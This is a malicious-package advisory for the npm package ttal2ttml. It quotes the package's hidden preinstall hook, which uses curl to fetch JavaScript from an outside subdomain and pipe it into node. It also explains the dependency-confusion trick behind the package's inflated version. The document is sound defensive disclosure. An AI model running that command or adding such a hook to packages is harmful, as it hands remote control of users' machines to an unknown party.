ttal2ttml
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-w5q2-92ww-m4jv
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in ttal2ttml (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (29387ac35a2248ad2e4b287b8c082f8d1a8d03b4937fc84a5b81fb85697e19d4)
package.json declares a preinstall lifecycle script that runs node -e "try{require('child_process').execSync('curl -sf https://d1ugk469z93e.0ac.io/callback.js | node',{stdio:'ignore'})}catch(e){}". On every npm install, the package fetches an unpinned JavaScript payload from the anonymous subdomain d1ugk469z93e.0ac.io and pipes it into node, executing whatever bytes the host returns under the installer's user account. Errors are swallowed via try/catch and stdio:'ignore' to hide failures. The destination is not the publisher's domain and the package's nominal purpose (TTML conversion) requires no network access. The package is also published at an artificially elevated version (99.0.3) with an empty index.js that self-describes as a dependency-confusion research PoC — the canonical shape used to win resolution against a private internal package of the same name. Regardless of stated intent, the remote-exec payload runs on every installer.
Source: ghsa-malware (922d733034217a0e55c6ba738576d74dd1d63321437e8e19b63eaa67edc2067a)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0